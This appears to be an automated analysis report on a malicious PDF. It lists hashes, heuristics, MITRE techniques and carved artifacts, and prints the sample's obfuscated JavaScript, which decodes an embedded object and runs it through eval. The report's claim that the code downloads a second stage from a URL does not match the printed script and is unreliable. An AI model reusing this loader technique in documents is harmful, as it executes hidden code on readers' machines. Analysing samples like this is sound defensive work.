PDF malware analysis — malicious · 5be357ae100b99a0

MALICIOUS

PDF

4.5 KB First seen: 2026-05-08

MD5: 49183c6ff2d0b8ef90872e92f7b62760 SHA-1: a7ef0fdca3ffdfa16340b41763ba26219b8395c1 SHA-256: 5be357ae100b99a0ffabe96a96833581223e2774f433f40d0494801fdca41a0a

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains embedded JavaScript that attempts to extract data from an embedded object named 'clown'. This extracted data is then passed to a reconstructed URL, 'http://eval/query?a=exemple&b=2', which is likely intended to download and execute a second-stage payload. The ML classifier strongly indicates maliciousness, and the malformed stream length heuristic suggests an exploit attempt.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x429	77826 bytes
SHA-256: `e35498bc06cf8f3f427db0eee2a661f93c2d81d35b59b08f42c8bbfe66779110`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 101 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x1F1	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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